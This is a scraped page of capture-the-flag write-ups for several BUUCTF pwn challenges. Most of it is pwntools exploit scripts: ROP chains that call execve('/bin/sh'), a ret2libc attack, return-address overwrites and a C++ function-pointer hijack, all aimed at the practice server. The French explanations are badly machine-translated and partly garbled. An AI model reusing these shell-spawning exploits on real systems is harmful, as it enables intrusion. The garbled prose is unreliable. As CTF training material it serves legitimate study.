当前位置:网站首页>Buuctf PWN write UPS (6)
Buuctf PWN write UPS (6)
2022-06-27 00:54:00 【L3h Colin】
buu047-cmcc_simplerop
C'est exactement la même chose que la question précédente..
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 26121)
int80 = 0x80493E1
popeax_ret = 0x80BAE06
popedx_ret = 0x806e82a
popecx_ebx_ret = 0x806E851
addesp0x14_ret = 0x807b36c
bss = 0x80EB060
read = 0x806CD50
payload = cyclic(0x14 + 12)
payload += p32(read) # call read()
payload += p32(addesp0x14_ret) # return address, add esp to execute latter ROP
payload += p32(0) # arg #1 of read(): stdin
payload += p32(bss) # arg #2 of read(): a bss address
payload += p32(0x8) # arg #3 of read(): read length
payload += p32(0) * 2
payload += p32(popeax_ret) # eax = 0x11(SYS_EXECVE)
payload += p32(11)
payload += p32(popecx_ebx_ret)
payload += p32(0) # ebx = '/bin/sh'
payload += p32(bss) # edx = 0
payload += p32(popedx_ret)
payload += p32(0) # ecx = 0
payload += p32(int80) # int 80
io.sendline(payload)
io.sendline(b'/bin/sh' + b'\x00')
io.interactive()
buu048-picoctf_2018_buffer overflow 2
from pwn import *
context.log_level='debug'
# io = process('pwn')
io = remote('node4.buuoj.cn', 27446)
io.sendline(cyclic(0x6C+4) + p32(0x80485CB) + p32(0) + p32(0xdeadbeef) + p32(0xdeadc0de))
io.interactive()
buu049-xdctf2015_pwn200
from pwn import *
from LibcSearcher import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 25724)
elf = ELF('./pwn')
payload = cyclic(0x6C + 4)
payload += p32(elf.plt['write'])
payload += p32(elf.symbols['vuln'])
payload += p32(1)
payload += p32(elf.got['write'])
payload += p32(4)
io.sendlineafter(b'Welcome to XDCTF2015~!\n', payload)
write = u32(io.recv(4))
print(hex(write))
libc = LibcSearcher('write', write)
base = write - libc.dump('write')
sys = libc.dump('system') + base
binsh = libc.dump('str_bin_sh') + base
payload = cyclic(0x6C + 4)
payload += p32(sys)
payload += p32(0)
payload += p32(binsh)
io.sendline(payload)
io.interactive()
buu050-bbys_tu_2016
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 27499)
io.sendline(cyclic(0xC + 12) + p32(0x804856D))
io.interactive()
buu051-mrctf2020_easyoverflow
Perdre après l'avoir connecté 48 Octets invalides +‘[email protected][email protected]’
buu052-wustctf2020_getshell_2
Cette question ne peut déborder que sur l'adresse de retour +4Où les octets, Modifier directement l'adresse de retour à system Les arguments de la fonction ne peuvent pas être écrits ,Et donc utilisershell La fonction retourne à l'instruction ’call _system’Où?, Les paramètres de la fonction peuvent être écrits plus tard ’sh’(Interception/bbbbbbbbin_what_the_f?ck__–??/sh Les deux derniers octets de )C'est.
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 29467)
elf = ELF('./pwn')
io.sendline(cyclic(24+4) + p32(0x8048529) + p32(0x8048670))
io.interactive()
buu053-[ZJCTF 2019]Login
Le premier.C++ pwnQuestions. C'est aussi la première fois que je fais un travail sérieux C++ pwnTitre.
D'abord, bien sûr. , On a besoin d'être inversés C++Procédure.C++- Oui.CUn superensemble de,Il y en a beaucoup.C Ce qui n'est pas là . Le plus important est la reconnaissance des classes et des objets .
Dans cette question, La Table des symboles du programme ne semble pas avoir été supprimée ,Nous pouvons voirIDA Les différents noms de fonctions et de classes analysés pour nous .
Il est facile de découvrir que deux classes sont définies dans le programme :UserEtAdmin, Et il semble qu'il y en ait trois mainDéfini danslambdaFonctions.
Impossible de voir dans le programme User Structure spécifique de la classe , Nous devons donc créer manuellement UserStructure similaire,InIDADeStructures Défini dans la fenêtre :Ins Raccourcis clavier pour créer une structure ,DelSupprimer la structure,D/A/* Créer un membre de structure (FréquentD),N Modifier le nom du membre ,USupprimer les membres.Comme le montre la figure ci - dessous::( Pour plus de détails sur les raisons de cette définition, voir l'analyse ci - dessous )
AdoptionUser Le constructeur de la classe a trouvé ,Le constructeurUser,User+8,User+0x58 Affectation effectuée à , Les deux derniers sont utilisés ici strncpyAffectation des fonctions, Donc le jugement est une chaîne . La première déclaration indique une telle structure , Il y a deux pointeurs de fonction ,Le jugement estUser Table de fonctions virtuelles pour la classe ,Parce queC++ Les tables de fonctions virtuelles d'une classe sont généralement placées au début de la classe .Je vois.User Deux fonctions virtuelles sont définies dans la classe get_passwordEtshell.Utiliser des raccourcis clavierY Le type de paramètre peut être modifié , Après modification au type approprié , Il n'y aurait pas beaucoup de transformations forcées dans le Code démonté , Ça a l'air beaucoup plus confortable .
Encore.UserClasseget_password La méthode permet de déterminer que les deux dernières tailles sont 0x50 Qui est exactement le nom d'utilisateur et le mot de passe dans la chaîne de .Utiliser des raccourcis clavierN Vous pouvez modifier le nom d'un paramètre ou d'une variable ,Après modificationUser Le constructeur de classe est montré ci - dessous :
En plus,Inmain Trouvé dans la fonction loginVariables,Il appartient àUserCatégorie,Et àbssParagraphe,Le jugement estUser Classe objet variable global .On vabss Ce type de modification d'objet dans le segment a trouvé que la taille correspond exactement à , Décrivez ce que nous avons défini précédemment User La structure de la classe est correcte .
Regarde encore.AdminConstructeur de classe,Il a trouvé son appelUserConstructeur de classe,Alors, jugeAdminLa classe estUserUne sous - classe de la classe.
DeAdmin Le tableau des fonctions virtuelles de classe contient User Les fonctions de classe peuvent également décrire AdminLa classe estUserSous - classe,EtAdminLa classe a dépasséUserClasseshellMéthodes,Ouvrir la découverteUserClasseshellÇa n'a pas marché,EtAdminClasseshell La méthode est d'exécuter directement ’/bin/sh’, C'est une porte de derrière .Etget_password La classe n'a pas dépassé ,InUser La classe n'est utilisée que virtual C'est juste une déclaration .
Maintenant, Nous avons mis en place les principales classes du programme 、 Analyse de l'objet terminée ,main On peut lire la première moitié de la fonction .
InmainEn fonction,Instancié unAdminObjet,Le nom d'utilisateur estadmin,Le mot de passe est2jctf_pa5sw0rd. Puis accepter les paramètres d'entrée de l'utilisateur global User Nom d'utilisateur et mot de passe de l'objet de classe .
Et puismainLa fonction utiliselambda La fonction a fait quelque chose ,Nous entrons danspassword_checker Une fonction de .
Cette fonction compare les entrées de mot de passe , Si le mot de passe est entré correctement execFonction pointée par le pointeur de fonction.
Selon la Déclaration de cette fonction ,Conjecturepassword_checker Ça devrait être une structure , Il contient les lambdaFonctions( Notez que cette fonction devrait être définie à password_checkerDans la structurelambdaFonctions,Attention!password_checkerAveclambda Entre les fonctions, il y a ::Connexion)
Inpassword_checker Trouvé dans la fonction checker Opération d'affectation de la structure ,password_checker Un seul pointeur de fonction existe .
Donc ce code a été conçu pour :Vérifiez que le mot de passe est entré correctement, Si c'est correct, exécutez greeting_funcFonctions:
Mais les opérations sur le terrain ont révélé ,Inlambda Une erreur de segment se produit dans la fonction ,C'est faux.execSur le pointeur de fonction. La valeur du pointeur original devrait être 0x400A90, Mais l'exécution ici a été changée en 0x400090.
Suivi des résultats du débogage ,- Oui.strip_newline La fonction reconnaît automatiquement les sauts de ligne (ASCIICode:0xA), Et l'adresse a été modifiée par erreur , Est devenu une valeur invalide .
Ça nous donne un indice :strip_newlineOui.lambdaAppelé dans la fonction, Mais peut être modifié execL'adresse de la fonction, Il n'est pas difficile de trouver ,execEst un pointeur,AdoptionmainAppel de fonctionpassword_checkerAcquisition de fonctions,Mais c'estpassword_checkerVariables locales pour, Son adresse doit être main À l'adresse basse du cadre de pile de fonctions (main La fonction n'a pas de cadre de pile , Ici, les cadres de pile analogiques à d'autres fonctions sont faciles à comprendre ),C'est - à - diremainQuand la fonction s'exécuteespÀ l'adresse basse de, .L'adresse ici est naturellement susceptible d'être affectée lorsque d'autres fonctions sont appelées .On peut voir que, Si nous modifions la valeur de l'adresse ici à AdminClasseshellAdresse de la fonction,Pour obtenirshellC'est.
Donc,, Le point de fuite de ce problème est de retourner la valeur de la variable locale , C'est une erreur logique . La valeur de retour de la fonction enfant à la fonction parent ne doit pas être la valeur de la variable locale de la fonction enfant . La vulnérabilité elle - même n'est pas difficile , Mais pour l'inverse C++ C'était un bon entraînement et un bon apprentissage .
exp:
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 26270)
io.sendline(b'admin')
io.sendline(b'2jctf_pa5sw0rd\x00\x00' + p64(0x400E88) * 8)
io.interactive()
Essayez d'utiliserCLion Restaurer le code source du programme :(C++Les bases ne sont pas solides,Essayez de restaurer)
#include <iostream>
#include <cstring>
using namespace std;
void strip_newline(char* buf, int64_t length){
char* i;
for(i = &buf[length]; i >= buf; i--){
if ( *i == '\n' )
*i = '\0';
}
}
class User{
private:
char username[0x50]{
};
char password[0x50]{
};
public:
User(){
}
User(const char* username, const char* password){
strncpy(this->username, username, 0x50);
strncpy(this->password, password, 0x50);
}
void read_name(){
char name[80];
fgets(name, 79, stdin);
strip_newline(name, 80);
strncpy(this->username, name, 0x50);
}
void read_password(){
char pwd[80];
fgets(pwd, 79, stdin);
strip_newline(pwd, 80);
strncpy(this->password, pwd, 0x50);
}
public:
virtual char* get_password(){
return this->password;
}
virtual void shell(){
puts("No shell for you!");
}
};
class Admin : User{
public:
Admin(const char* username, const char* password) : User(username, password){
}
void shell() override{
puts("Congratulations!");
system("/bin/sh");
}
char* get_password() override{
return User::get_password();
}
};
typedef struct checker{
void (*check)();
int64_t null[2];
}checker;
checker* password_checker(void (*check)()){
checker checker;
checker.check = check;
return &checker;
}
User login;
int main() {
char admin_password[88];
cout << "Hello, World!" << endl;
setbuf(stdout, 0);
strcpy(admin_password, "2jctf_pa5sw0rd");
memset(&admin_password[15], 0, 65);
Admin admin((const char*)"admin", admin_password);
puts(
" _____ _ ____ _____ _____ _ _ \n"
"|__ / | |/ ___|_ _| ___| | | ___ __ _(_)_ __ \n"
" / /_ | | | | | | |_ | | / _ \\ / _` | | '_ \\ \n"
" / /| |_| | |___ | | | _| | |__| (_) | (_| | | | | |\n"
"/____\\___/ \\____| |_| |_| |_____\\___/ \\__, |_|_| |_|\n"
" |___/ ");
printf("Please enter username: ");
login.read_name();
printf("Please enter password: ");
auto greeting_func = []()->void{
puts("<===Welcome to ZJCTF!!!===>");
return login.shell();
};
checker* exec = password_checker(greeting_func);
login.read_password();
char* admin_pwd = admin.get_password();
char* user_pwd = login.get_password();
[](checker* exec, char* admin_pwd, char* user_pwd)->void{
char s[88];
if(!strcmp(admin_pwd, user_pwd)){
snprintf(s, 0x50uLL, "Password accepted: %s\n", s);
puts(s);
exec->check();
}else{
puts("Nope!");
}
}(exec, admin_pwd, user_pwd);
return 0;
}
边栏推荐
- 基于SSMP的宠物医院管理系统
- 论文解读(LG2AR)《Learning Graph Augmentations to Learn Graph Representations》
- Ten thousand words explanation - mindarmour Xiaobai tutorial!
- 气液滑环与其他滑环的工作原理有什么区别
- JS library for number formatting
- MATLAB data type - character type
- 如何把老式键盘转换成USB键盘并且自己编程?
- Lorsque le transformateur rencontre l'équation différentielle partielle
- What is the difference between the working principle of gas-liquid slip ring and other slip rings
- Employment prospect of GIS and remote sensing specialty and ranking selection of universities in 2022
猜你喜欢
Mindspire, a domestic framework, cooperates with Shanshui nature conservation center to find and protect the treasure life in the "China water tower"
com.fasterxml.jackson.databind.exc.MismatchedInputException: Expected array or string. at [Source:x
USB协议中HID设备描述符以及键盘按键值对应编码表
When transformer encounters partial differential equation solution
Kubeadm create kubernetes cluster
Flink practical problems (VII): no watermark (watermarks are only available eventtime is used)
Implementation of ARP module in LwIP
ESP32实验-自建web服务器配网02
About Random Numbers
redis详细教程
随机推荐
Redis detailed tutorial
CH423要如何使用,便宜的国产IO扩展芯片
简单快速的数网络(网络中的网络套娃)
當Transformer遇見偏微分方程求解
How to write test cases and a brief introduction to go unit test tool testify
idea 热启动失效解决方案
2022健康博览会,山东养生保健展会,产后健康、睡眠健康展
05 | 规范设计(下):commit 信息风格迥异、难以阅读,如何规范?
Concepts de base de données Oracle
Is it safe to open a compass account?
Solve the problem that stc8g1k08 program cannot run and port configuration
“message“:“Bad capabilities. Specify either app or appTopLevelWindow to create a session“
Law of Large Numbers
Lambda表达式
USB协议中HID设备描述符以及键盘按键值对应编码表
redis详细教程
ESP32-SOLO开发教程,解决CONFIG_FREERTOS_UNICORE问题
com.fasterxml.jackson.databind.exc.MismatchedInputException: Expected array or string. at [Source:x
Lambda expression
Overview of Freescale MCU